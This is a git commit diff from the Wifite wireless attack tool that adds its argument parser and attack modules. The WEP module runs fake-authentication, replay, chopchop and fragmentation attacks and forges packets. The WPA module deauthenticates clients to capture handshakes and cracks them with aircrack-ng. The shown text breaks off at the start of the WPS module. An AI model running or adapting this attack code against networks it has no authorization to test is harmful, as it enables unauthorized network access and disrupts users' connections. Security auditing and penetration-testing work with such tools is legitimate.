Massive refactor/renaming. No more upper-case filenames.

This commit is contained in:
derv82
2018-03-17 04:04:05 -04:00
parent 88bb2c0ac2
commit 622ec064a5
45 changed files with 322 additions and 319 deletions

0
wifite/__init__.py Normal file
View File

335
wifite/args.py Executable file
View File

@@ -0,0 +1,335 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from util.color import Color
import argparse
class Arguments(object):
''' Holds arguments used by the Wifite '''
def __init__(self, Configuration):
self.args = self.get_arguments(Configuration)
def get_arguments(self, Configuration):
''' Returns parser.args() containing all program arguments '''
parser = argparse.ArgumentParser(usage=argparse.SUPPRESS,
formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=80, width=130))
# Global variables
glob = parser.add_argument_group('SETTINGS')
glob.add_argument('-i',
action='store',
dest='interface',
metavar='[interface]',
type=str,
help=Color.s('Wireless interface to use (default: {G}ask{W})'))
glob.add_argument('--kill',
action='store_true',
dest='kill_conflicting_processes',
help=Color.s('Kill processes that conflict with Airmon/Airodump (default: {G}off{W})'))
glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int)
glob.add_argument('-c',
action='store',
dest='channel',
metavar='[channel]',
type=int,
help=Color.s('Wireless channel to scan (default: {G}all channels{W})'))
glob.add_argument('-mac',
'---random-mac',
action='store_true',
dest='random_mac',
help=Color.s('Randomize wireless card MAC address (default: {G}off{W})'))
glob.add_argument('-5',
'--5ghz',
action='store_true',
dest='five_ghz',
help=Color.s('Include 5Ghz channels (default: {G}off{W})'))
glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store', dest='target_bssid', type=str)
glob.add_argument('-b',
action='store',
dest='target_bssid',
metavar='[bssid]',
type=str,
help=Color.s('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access point to attack'))
glob.add_argument('--essid', help=argparse.SUPPRESS, action='store', dest='target_essid', type=str)
glob.add_argument('-e',
action='store',
dest='target_essid',
metavar='[essid]',
type=str,
help=Color.s('ESSID (e.g. {GR}NETGEAR07{W}) of access point to attack'))
glob.add_argument('--showb',
action='store_true',
dest='show_bssids',
help=Color.s('Show BSSIDs of targets while scanning'))
glob.add_argument('--nodeauths',
action='store_true',
dest='no_deauth',
help=Color.s('Do not deauthenticate clients *EVER* (default: {G}off{W})'))
glob.add_argument('--no-deauths', action='store_true', dest='no_deauth', help=argparse.SUPPRESS)
glob.add_argument('-nd', action='store_true', dest='no_deauth', help=argparse.SUPPRESS)
glob.add_argument('--num-deauths',
action='store',
type=int,
dest='num_deauths',
metavar="[num]",
default=None,
help=Color.s('Number of deauth packets to send (default: {G}%d{W})' % Configuration.num_deauths))
glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store', dest='scan_time', nargs='?', const=10, type=int)
glob.add_argument('-p',
action='store',
dest='scan_time',
nargs='?',
const=10,
metavar='scantime',
type=int,
help=Color.s('{G}Pillage{W}: Attack all targets after {C}scantime{W} seconds'))
glob.add_argument('-v',
'--verbose',
action='count',
default=0,
dest='verbose',
help=Color.s('Verbose mode, prints more lines (default: {G}quiet{W})'))
# WEP
wep = parser.add_argument_group('WEP-RELATED')
wep.add_argument('--wep',
action='store_true',
dest='wep_filter',
help=Color.s('Filter to display only WEP-encrypted networks (default: {G}off{W})'))
wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true', dest='wep_filter')
wep.add_argument('--require-fakeauth',
action='store_true',
dest='require_fakeauth',
help=Color.s('Fails attacks if fake-auth fails (default: {G}off{W})'))
wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth')
wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth')
wep.add_argument('--pps',
action='store',
dest='wep_pps',
metavar='[pps]',
type=int,
help=Color.s('Packets Per Second to replay (default: {G}%d pps{W})')
% Configuration.wep_pps)
wep.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='wep_pps', type=int)
wep.add_argument('--wept',
action='store',
dest='wep_timeout',
metavar='[seconds]',
type=int,
help=Color.s('Seconds to wait before failing (default: {G}%d sec{W})')
% Configuration.wep_timeout)
wep.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wep_timeout', type=int)
wep.add_argument('--wepca',
action='store',
dest='wep_crack_at_ivs',
metavar='[ivs]',
type=int,
help=Color.s('Start cracking at this many IVs (default: {G}%d ivs{W})')
% Configuration.wep_crack_at_ivs)
wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wep_crack_at_ivs', type=int)
wep.add_argument('--weprs',
action='store',
dest='wep_restart_stale_ivs',
metavar='[seconds]',
type=int,
help=Color.s('Restart aireplay if no new IVs appear (default: {G}%d sec{W})')
% Configuration.wep_restart_stale_ivs)
wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store', dest='wep_restart_stale_ivs', type=int)
wep.add_argument('--weprc',
action='store',
dest='wep_restart_aircrack',
metavar='[seconds]',
type=int,
help=Color.s('Restart aircrack after this delay (default: {G}%d sec{W})')
% Configuration.wep_restart_aircrack)
wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store', dest='wep_restart_aircrack', type=int)
wep.add_argument('--arpreplay',
action='store_true',
dest='wep_attack_replay',
help=Color.s('Use ARP-replay WEP attack (default: {G}on{W})'))
wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_replay')
wep.add_argument('--fragment',
action='store_true',
dest='wep_attack_fragment',
help=Color.s('Use fragmentation WEP attack (default: {G}on{W})'))
wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_fragment')
wep.add_argument('--chopchop',
action='store_true',
dest='wep_attack_chopchop',
help=Color.s('Use chop-chop WEP attack (default: {G}on{W})'))
wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_chopchop')
wep.add_argument('--caffelatte',
action='store_true',
dest='wep_attack_caffe',
help=Color.s('Use caffe-latte WEP attack (default: {G}on{W})'))
wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_caffelatte')
wep.add_argument('--p0841',
action='store_true',
dest='wep_attack_p0841',
help=Color.s('Use p0841 WEP attack (default: {G}on{W})'))
wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_p0841')
wep.add_argument('--hirte',
action='store_true',
dest='wep_attack_hirte',
help=Color.s('Use ARP-replay WEP attack (default: {G}on{W})'))
wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_hirte')
# WPA
wpa = parser.add_argument_group('WPA-RELATED')
wpa.add_argument('--wpa',
action='store_true',
dest='wpa_filter',
help=Color.s('Filter to display only WPA-encrypted networks (includes WPS)'))
wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true', dest='wpa_filter')
wpa.add_argument('--wpadt',
action='store',
dest='wpa_deauth_timeout',
metavar='[seconds]',
type=int,
help=Color.s('Time to wait between sending Deauths (default: {G}%d sec{W})')
% Configuration.wpa_deauth_timeout)
wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpa_deauth_timeout', type=int)
wpa.add_argument('--wpat',
action='store',
dest='wpa_attack_timeout',
metavar='[seconds]',
type=int,
help=Color.s('Time to wait before failing WPA attack (default: {G}%d sec{W})')
% Configuration.wpa_attack_timeout)
wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpa_attack_timeout', type=int)
wpa.add_argument('--new-hs',
action='store_true',
dest='ignore_old_handshakes',
help=Color.s('Captures new handshakes, ignores existing handshakes in ./hs (default: {G}off{W})'))
wpa.add_argument('--hs-dir',
action='store',
dest='wpa_handshake_dir',
metavar='[dir]',
type=str,
help=Color.s('Directory to store handshake files (default: {G}%s{W})')
% Configuration.wpa_handshake_dir)
wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store', dest='wpa_handshake_dir', type=str)
wpa.add_argument('--dict',
action='store',
dest='wordlist',
metavar='[file]',
type=str,
help=Color.s('File containing passwords for cracking (default: {G}%s{W})')
% Configuration.wordlist)
# TODO: Uncomment the --strip option once it works
'''
wpa.add_argument('--strip',
action='store_true',
dest='wpa_strip_handshake',
default=False,
help=Color.s('Strip unnecessary packets from handshake capture using tshark'))
'''
wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true', dest='wpa_strip_handshake')
# WPS
wps = parser.add_argument_group('WPS-RELATED')
wps.add_argument('--wps',
action='store_true',
dest='wps_filter',
help=Color.s('Filter to display only WPS-enabled networks'))
wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter')
wps.add_argument('--bully',
action='store_true',
dest='use_bully',
help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})'))
wps.add_argument('--no-wps',
action='store_true',
dest='no_wps',
help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on WPA networks (default: {G}off{W})'))
wps.add_argument('--wps-only',
action='store_true',
dest='wps_only',
help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on WPA networks (default: {G}off{W})'))
# Same as --wps-only
wps.add_argument('--pixie',
help=argparse.SUPPRESS,
action='store_true',
dest='wps_only')
wps.add_argument('--pixiet',
action='store',
dest='wps_pixie_timeout',
metavar='[seconds]',
type=int,
help=Color.s('Time to wait before failing PixieDust attack (default: {G}%d sec{W})')
% Configuration.wps_pixie_timeout)
wps.add_argument('--pixiest',
action='store',
dest='wps_pixie_step_timeout',
metavar='[seconds]',
type=int,
help=Color.s('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})')
% Configuration.wps_pixie_step_timeout)
wps.add_argument('--wpsmf',
action='store',
dest='wps_fail_threshold',
metavar='[fails]',
type=int,
help=Color.s('Maximum number of WPS Failures before failing attack (default: {G}%d{W})')
% Configuration.wps_fail_threshold)
wps.add_argument('-wpsmf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
wps.add_argument('--wpsmt',
action='store',
dest='wps_timeout_threshold',
metavar='[timeouts]',
type=int,
help=Color.s('Maximum number of Timeouts before stopping (default: {G}%d{W})')
% Configuration.wps_timeout_threshold)
wps.add_argument('-wpsmt', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int)
wps.add_argument('--ignore-ratelimit',
action='store_false',
dest='wps_skip_rate_limit',
help=Color.s('Ignores attack if WPS is rate-limited (default: {G}on{W})'))
wps.add_argument('-ignore-ratelimit', help=argparse.SUPPRESS, action='store_false', dest='wps_skip_rate_limit')
# Commands
commands = parser.add_argument_group('COMMANDS')
commands.add_argument('--cracked',
action='store_true',
dest='cracked',
help=Color.s('Display previously-cracked access points'))
commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
commands.add_argument('--check',
action='store',
metavar='file',
nargs='?',
const='<all>',
dest='check_handshake',
help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes'))
commands.add_argument('-check', help=argparse.SUPPRESS, action='store', nargs='?', const='<all>', dest='check_handshake')
commands.add_argument('--crack',
action='store_true',
dest='crack_handshake',
help=Color.s('Show commands to crack a captured handshake'))
return parser.parse_args()
if __name__ == '__main__':
from Color import Color
from Configuration import Configuration
Configuration.initialize(False)
a = Arguments(Configuration)
args = a.args
for (key,value) in sorted(args.__dict__.iteritems()):
Color.pl('{C}%s: {G}%s{W}' % (key.ljust(21),value))

View File

330
wifite/attack/wep.py Executable file
View File

@@ -0,0 +1,330 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay, WEPAttackType
from ..tools.aircrack import Aircrack
from ..config import Configuration
from ..model.interface import Interface
from ..util.color import Color
from ..model.wep_result import CrackResultWEP
import time
class AttackWEP(Attack):
'''
Contains logic for attacking a WEP-encrypted access point.
'''
fakeauth_wait = 5
def __init__(self, target):
super(AttackWEP, self).__init__(target)
self.crack_result = None
self.success = False
def run(self):
'''
Initiates full WEP attack.
Including airodump-ng starting, cracking, etc.
Returns: True if attack is succesful, false otherwise
'''
aircrack = None # Aircrack process, not started yet
fakeauth_proc = None
replay_file = None
attacks_remaining = list(Configuration.wep_attacks)
while len(attacks_remaining) > 0:
attack_name = attacks_remaining.pop(0)
# BIG try-catch to capture ctrl+c
try:
# Start Airodump process
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
ivs_only=True, # Only capture IVs packets
skip_wps=True, # Don't check for WPS-compatibility
output_file_prefix='wep') as airodump:
Color.clear_line()
Color.p('\r{+} {O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump)
fakeauth_proc = None
if self.fake_auth():
# We successfully authenticated!
# Use our interface's MAC address for the attacks.
client_mac = Interface.get_mac()
# Keep us authenticated
fakeauth_proc = Aireplay(self.target, "fakeauth")
elif len(airodump_target.clients) == 0:
# Failed to fakeauth, can't use our MAC.
# And there are no associated clients. Use one and tell the user.
Color.pl('{!} {O}there are no associated clients{W}')
Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
' without fake-authentication or associated clients{W}')
client_mac = None
else:
# Fakeauth failed, but we can re-use an existing client
client_mac = airodump_target.clients[0].station
# Convert to WEPAttackType.
wep_attack_type = WEPAttackType(attack_name)
# Start Aireplay process.
aireplay = Aireplay(self.target,
wep_attack_type,
client_mac=client_mac)
time_unchanged_ivs = time.time() # Timestamp when IVs last changed
previous_ivs = 0
# Loop until attack completes.
while True:
airodump_target = self.wait_for_target(airodump)
status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs)
if fakeauth_proc:
if fakeauth_proc and fakeauth_proc.status:
status += ", {G}fakeauth{W}"
else:
status += ", {R}no-auth{W}"
if aireplay.status is not None:
status += ", %s" % aireplay.status
Color.clear_entire_line()
Color.pattack("WEP",
airodump_target,
"%s" % attack_name,
status)
#self.aircrack_check()
# Check if we cracked it.
if aircrack and aircrack.is_cracked():
(hex_key, ascii_key) = aircrack.get_key_hex_ascii()
bssid = airodump_target.bssid
if airodump_target.essid_known:
essid = airodump_target.essid
else:
essid = None
Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n'
% attack_name)
if aireplay: aireplay.stop()
if fakeauth_proc: fakeauth_proc.stop()
self.crack_result = CrackResultWEP(self.target.bssid,
self.target.essid, hex_key, ascii_key)
self.crack_result.dump()
self.success = True
return self.success
if aircrack and aircrack.is_running():
# Aircrack is running in the background.
Color.p("and {C}cracking{W}")
# Check number of IVs, crack if necessary
if airodump_target.ivs > Configuration.wep_crack_at_ivs:
if not aircrack:
# Aircrack hasn't started yet. Start it.
ivs_file = airodump.find_files(endswith='.ivs')[0]
aircrack = Aircrack(ivs_file)
elif not aircrack.is_running():
# Aircrack stopped running.
Color.pl('\n{!} {O}aircrack stopped running!{W}')
ivs_file = airodump.find_files(endswith='.ivs')[0]
Color.pl('{+} {C}aircrack{W} stopped, restarting...')
self.fake_auth()
aircrack = Aircrack(ivs_file)
elif Configuration.wep_restart_aircrack > 0 and \
aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
# Restart aircrack after X seconds
aircrack.stop()
ivs_file = airodump.find_files(endswith='.ivs')[0]
Color.pl('\n{+} {C}aircrack{W} ran for more than' +
' {C}%d{W} seconds, restarting'
% Configuration.wep_restart_aircrack)
aircrack = Aircrack(ivs_file)
if not aireplay.is_running():
# Some Aireplay attacks loop infinitely
if attack_name == 'chopchop' or attack_name == 'fragment':
# We expect these to stop once a .xor is created, or if the process failed.
replay_file = None
# Check for .xor file.
xor_file = Aireplay.get_xor()
if not xor_file:
# If .xor is not there, the process failed.
Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name)
# XXX: For debugging
Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd)
Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
break
# If .xor exists, run packetforge-ng to create .cap
Color.pl('\n{+} {C}%s attack{W}' % attack_name +
' generated a {C}.xor file{W}, {G}forging...{W}')
replay_file = Aireplay.forge_packet(xor_file,
airodump_target.bssid,
client_mac)
if replay_file:
Color.pl('{+} {C}forged packet{W},' +
' {G}replaying...{W}')
wep_attack_type = WEPAttackType("forgedreplay")
attack_name = "forgedreplay"
aireplay = Aireplay(self.target,
'forgedreplay',
client_mac=client_mac,
replay_file=replay_file)
continue
else:
# Failed to forge packet. drop out
break
else:
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd)
Color.pl('{?} {O}Output:\n%s{W}' % aireplay.get_output())
break # Continue to other attacks
# Check if IVs stopped flowing (same for > N seconds)
if airodump_target.ivs > previous_ivs:
time_unchanged_ivs = time.time()
elif Configuration.wep_restart_stale_ivs > 0 and \
attack_name != 'chopchop' and \
attack_name != 'fragment':
stale_seconds = time.time() - time_unchanged_ivs
if stale_seconds > Configuration.wep_restart_stale_ivs:
# No new IVs within threshold, restart aireplay
aireplay.stop()
Color.pl('\n{!} restarting {C}aireplay{W} after' +
' {C}%d{W} seconds of no new IVs'
% stale_seconds)
aireplay = Aireplay(self.target, \
wep_attack_type, \
client_mac=client_mac, \
replay_file=replay_file)
time_unchanged_ivs = time.time()
previous_ivs = airodump_target.ivs
time.sleep(1)
continue
# End of big while loop
# End of with-airodump
except KeyboardInterrupt:
if fakeauth_proc: fakeauth_proc.stop()
if len(attacks_remaining) == 0:
self.success = False
return self.success
if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target):
self.success = False
return self.success
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
continue
# End of big try-catch
# End of for-each-attack-type loop
self.success = False
return self.success
def user_wants_to_stop(self, current_attack, attacks_remaining, target):
'''
Ask user what attack to perform next (re-orders attacks_remaining, returns False),
or if we should stop attacking this target (returns True).
'''
target_name = target.essid if target.essid_known else target.bssid
Color.pl("\n\n{!} {O}Interrupted")
Color.pl("{+} {W}Next steps:")
# Deauth clients & retry
attack_index = 1
Color.pl(" {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name))
# Move onto a different WEP attack
for attack_name in attacks_remaining:
attack_index += 1
Color.pl(" {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name))
# Stop attacking entirely
attack_index += 1
Color.pl(" {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index)
while True:
answer = raw_input(Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index))
if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index:
Color.pl("{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index)
continue
answer = int(answer)
break
if answer == 1:
# Deauth clients & retry
deauth_count = 1
Color.clear_entire_line()
Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...")
Aireplay.deauth(target.bssid, essid=target.essid)
for client in target.clients:
Color.clear_entire_line()
Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station)
Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
deauth_count += 1
Color.clear_entire_line()
Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count)
# Re-insert current attack to top of list of attacks remaining
attacks_remaining.insert(0, current_attack)
return False # Don't stop
elif answer == attack_index:
return True # Stop attacking
elif answer > 1:
# User selected specific attack: Re-order attacks based on desired next-step
attacks_remaining.insert(0, attacks_remaining.pop(answer-2))
return False # Don't stop
def fake_auth(self):
'''
Attempts to fake-authenticate with target.
Returns: True if successful,
False is unsuccesful.
'''
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
if fakeauth:
Color.pl(' {G}success{W}')
else:
Color.pl(' {R}failed{W}')
if Configuration.require_fakeauth:
# Fakeauth is requried, fail
raise Exception(
'Fake-authenticate did not complete within' +
' %d seconds' % AttackWEP.fakeauth_wait)
else:
# Warn that fakeauth failed
Color.pl('{!} {O}' +
'unable to fake-authenticate with target' +
' (%s){W}' % self.target.bssid)
Color.pl('{!} continuing attacks because' +
' {G}--require-fakeauth{W} was not set')
return fakeauth
if __name__ == '__main__':
from Target import Target
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
target = Target(fields)
wep = AttackWEP(target)
wep.run()

300
wifite/attack/wpa.py Executable file
View File

@@ -0,0 +1,300 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..util.timer import Timer
from ..model.handshake import Handshake
from ..model.wpa_result import CrackResultWPA
import time
import os
import re
from shutil import copy
class AttackWPA(Attack):
def __init__(self, target):
super(AttackWPA, self).__init__(target)
self.clients = []
self.crack_result = None
self.success = False
def run(self):
'''
Initiates full WPA hanshake capture attack.
'''
# Check if user only wants to run PixieDust attack
if Configuration.wps_only and self.target.wps:
Color.pl('\r{!} {O}--wps-only{R} set, ignoring WPA-handshake attack on {O}%s{W}' % self.target.essid)
self.success = False
return self.success
handshake = None
# Capture the handshake ("do it live!")
if handshake is None:
handshake = self.capture_handshake()
if handshake is None:
# Failed to capture handshake
self.success = False
return self.success
# Analyze handshake
Color.pl('\n{+} analysis of captured handshake file:')
handshake.analyze()
# Crack it
key = self.crack_handshake(handshake, Configuration.wordlist)
if key is None:
self.success = False
else:
self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
self.crack_result.dump()
self.success = True
return self.success
def capture_handshake(self):
''' Returns captured or stored handshake, otherwise None '''
handshake = None
# First, start Airodump process
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True,
output_file_prefix='wpa') as airodump:
Color.clear_entire_line()
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
airodump_target = self.wait_for_target(airodump)
self.clients = []
# Try to load existing handshake
if Configuration.ignore_old_handshakes == False:
bssid = airodump_target.bssid
essid = airodump_target.essid if airodump_target.essid_known else None
handshake = self.load_handshake(bssid=bssid, essid=essid)
if handshake:
Color.pattack("WPA", self.target, "Handshake capture", "found {G}existing handshake{W} for {C}%s{W}" % handshake.essid)
Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile)
return handshake
timeout_timer = Timer(Configuration.wpa_attack_timeout)
deauth_timer = Timer(Configuration.wpa_deauth_timeout)
while handshake is None and not timeout_timer.ended():
step_timer = Timer(1)
Color.clear_entire_line()
Color.pattack("WPA",
airodump_target,
"Handshake capture",
"Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer))
# Find .cap file
cap_files = airodump.find_files(endswith='.cap')
if len(cap_files) == 0:
# No cap files yet
time.sleep(step_timer.remaining())
continue
cap_file = cap_files[0]
# Copy .cap file to temp for consistency
temp_file = Configuration.temp('handshake.cap.bak')
copy(cap_file, temp_file)
# Check cap file in temp for Handshake
bssid = airodump_target.bssid
essid = airodump_target.essid if airodump_target.essid_known else None
handshake = Handshake(temp_file, bssid=bssid, essid=essid)
if handshake.has_handshake():
# We got a handshake
Color.pl('\n\n{+} {G}successfully captured handshake{W}')
break
# There is no handshake
handshake = None
# Delete copied .cap file in temp to save space
os.remove(temp_file)
# Look for new clients
airodump_target = self.wait_for_target(airodump)
for client in airodump_target.clients:
if client.station not in self.clients:
Color.clear_entire_line()
Color.pattack("WPA",
airodump_target,
"Handshake capture",
"Discovered new client: {G}%s{W}" % client.station)
Color.pl("")
self.clients.append(client.station)
# Send deauth to a client or broadcast
if deauth_timer.ended():
self.deauth(airodump_target)
# Restart timer
deauth_timer = Timer(Configuration.wpa_deauth_timeout)
# Sleep for at-most 1 second
time.sleep(step_timer.remaining())
continue # Handshake listen+deauth loop
if handshake is None:
# No handshake, attack failed.
Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout))
return handshake
else:
# Save copy of handshake to ./hs/
self.save_handshake(handshake)
return handshake
def crack_handshake(self, handshake, wordlist):
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
if wordlist is None:
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist ({R}--dict{O}) is not set")
return None
elif not os.path.exists(wordlist):
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist {R}%s{O} was not found" % wordlist)
return None
Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
" {C}%s{W} wordlist" % os.path.split(wordlist)[-1])
key_file = Configuration.temp('wpakey.txt')
command = [
"aircrack-ng",
"-a", "2",
"-w", wordlist,
"--bssid", handshake.bssid,
"-l", key_file,
handshake.capfile
]
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = "unknown"
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line)
match_keys = aircrack_key_re.search(line)
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
status += " ETA: {C}%s{W}" % eta_str
status += " @ {C}%0.1fkps{W}" % num_kps
#status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
status += " (current key: {C}%s{W})" % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl("")
# Check crack result
if os.path.exists(key_file):
with open(key_file, "r") as fid:
key = fid.read().strip()
os.remove(key_file)
Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
return key
else:
Color.pl("{!} {R}Failed to crack handshake:" +
" {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
return None
def load_handshake(self, bssid, essid):
if not os.path.exists(Configuration.wpa_handshake_dir):
return None
if essid:
essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid))
else:
essid_safe = '[a-zA-Z0-9]+'
bssid_safe = re.escape(bssid.replace(':', '-'))
date = '\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}'
get_filename = re.compile('handshake_%s_%s_%s\.cap' % (essid_safe, bssid_safe, date))
for filename in os.listdir(Configuration.wpa_handshake_dir):
cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
if os.path.isfile(cap_filename) and re.match(get_filename, filename):
return Handshake(capfile=cap_filename, bssid=bssid, essid=essid)
return None
def save_handshake(self, handshake):
'''
Saves a copy of the handshake file to hs/
Args:
handshake - Instance of Handshake containing bssid, essid, capfile
'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
bssid_safe = handshake.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)
if Configuration.wpa_strip_handshake:
Color.p("{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}..." % cap_filename)
handshake.strip(outfile=cap_filename)
Color.pl('{G}saved{W}')
else:
Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
copy(handshake.capfile, cap_filename)
Color.pl('{G}saved{W}')
# Update handshake to use the stored handshake file for future operations
handshake.capfile = cap_filename
def deauth(self, target):
'''
Sends deauthentication request to broadcast and every client of target.
Args:
target - The Target to deauth, including clients.
'''
if Configuration.no_deauth: return
for index, client in enumerate([None] + self.clients):
if client is None:
target_name = "*broadcast*"
else:
target_name = client
Color.clear_entire_line()
Color.pattack("WPA",
target,
"Handshake capture",
"Deauthing {O}%s{W}" % target_name)
Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
if __name__ == '__main__':
from Target import Target
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
target = Target(fields)
wpa = AttackWPA(target)
wpa.run()

48
wifite/attack/wps.py Executable file
View File

@@ -0,0 +1,48 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..util.color import Color
from ..config import Configuration
from ..tools.bully import Bully
from ..tools.reaver import Reaver
class AttackWPS(Attack):
def __init__(self, target):
super(AttackWPS, self).__init__(target)
self.success = False
self.crack_result = None
def run(self):
''' Run all WPS-related attacks '''
# Drop out if user specified to not use Reaver/Bully
if Configuration.no_wps:
